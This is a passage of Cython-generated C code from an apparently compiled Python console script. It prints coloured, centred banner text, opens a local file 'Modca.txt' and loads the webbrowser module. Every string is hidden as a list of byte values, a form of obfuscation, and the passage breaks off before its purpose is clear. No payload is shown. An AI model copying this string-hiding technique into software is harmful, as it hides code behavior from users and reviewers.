  __Pyx_INCREF(__pyx_int_65);
  __Pyx_GIVEREF(__pyx_int_65);
  PyList_SET_ITEM(__pyx_t_6, 4, __pyx_int_65);
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_GIVEREF(__pyx_t_6);
  PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6);
  __pyx_t_6 = 0;
  __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __pyx_t_1 = PyList_New(5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_INCREF(__pyx_int_119);
  __Pyx_GIVEREF(__pyx_int_119);
  PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_119);
  __Pyx_INCREF(__pyx_int_104);
  __Pyx_GIVEREF(__pyx_int_104);
  PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_104);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_116);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_101);
  __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  __pyx_t_9 = PyList_New(4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_INCREF(__pyx_int_98);
  __Pyx_GIVEREF(__pyx_int_98);
  PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_98);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_117);
  __Pyx_GIVEREF(__pyx_int_117);
  PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_117);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_101);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_GIVEREF(__pyx_t_1);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_1);
  __Pyx_GIVEREF(__pyx_t_9);
  PyList_SET_ITEM(__pyx_t_10, 1, __pyx_t_9);
  __pyx_t_1 = 0;
  __pyx_t_9 = 0;
  if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_colors, __pyx_t_10) < 0) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = PyList_New(6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_INCREF(__pyx_int_99);
  __Pyx_GIVEREF(__pyx_int_99);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_99);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_116);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_114);
  __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_align, __pyx_t_10) < 0) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_output, __pyx_t_10) < 0) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_output); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 110, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_builtin_print, __pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;

  
  __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 111, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;

  
  __pyx_t_6 = PyList_New(7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 113, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_6, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_6, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_6, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_6, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_6, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_57);
  __Pyx_GIVEREF(__pyx_int_57);
  PyList_SET_ITEM(__pyx_t_6, 5, __pyx_int_57);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_6, 6, __pyx_int_109);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 113, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 113, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  __pyx_t_10 = PyList_New(72); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 114, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 13, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 14, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 15, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 16, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 17, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 18, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 19, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 20, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 21, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 22, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 23, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 24, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 25, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 26, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 27, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 28, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 29, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 30, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 31, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 32, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 33, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 34, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 35, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 36, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 37, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 38, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 39, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 40, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 41, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 42, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 43, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 44, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 45, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 46, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 47, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 48, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 49, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 50, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 51, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 52, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 53, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 54, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 55, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 56, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 57, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 58, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 59, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 60, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 61, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 62, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 63, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 64, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 65, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 66, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 67, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 68, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 69, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_95);
  __Pyx_GIVEREF(__pyx_int_95);
  PyList_SET_ITEM(__pyx_t_10, 70, __pyx_int_95);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 71, __pyx_int_32);
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 114, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 114, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyTuple_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 112, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_GIVEREF(__pyx_t_6);
  PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6);
  __Pyx_GIVEREF(__pyx_t_10);
  PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_10);
  __pyx_t_6 = 0;
  __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_5, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 112, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 115, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_INCREF(__pyx_int_10);
  __Pyx_GIVEREF(__pyx_int_10);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_10);
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 115, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 115, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_builtin_print, __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 115, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 118, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_77);
  __Pyx_GIVEREF(__pyx_int_77);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_77);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_100);
  __Pyx_GIVEREF(__pyx_int_100);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_100);
  __Pyx_INCREF(__pyx_int_99);
  __Pyx_GIVEREF(__pyx_int_99);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_99);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_46);
  __Pyx_GIVEREF(__pyx_int_46);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_46);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_116);
  __Pyx_INCREF(__pyx_int_120);
  __Pyx_GIVEREF(__pyx_int_120);
  PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_120);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_116);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 118, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 118, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 118, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_INCREF(__pyx_int_43);
  __Pyx_GIVEREF(__pyx_int_43);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_43);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_114);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 118, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = PyTuple_New(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_GIVEREF(__pyx_t_5);
  PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_5);
  __Pyx_GIVEREF(__pyx_t_10);
  PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_10);
  __pyx_t_5 = 0;
  __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_open, __pyx_t_6, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 118, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_file, __pyx_t_10) < 0) __PYX_ERR(0, 118, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_webbrowser); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 119, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
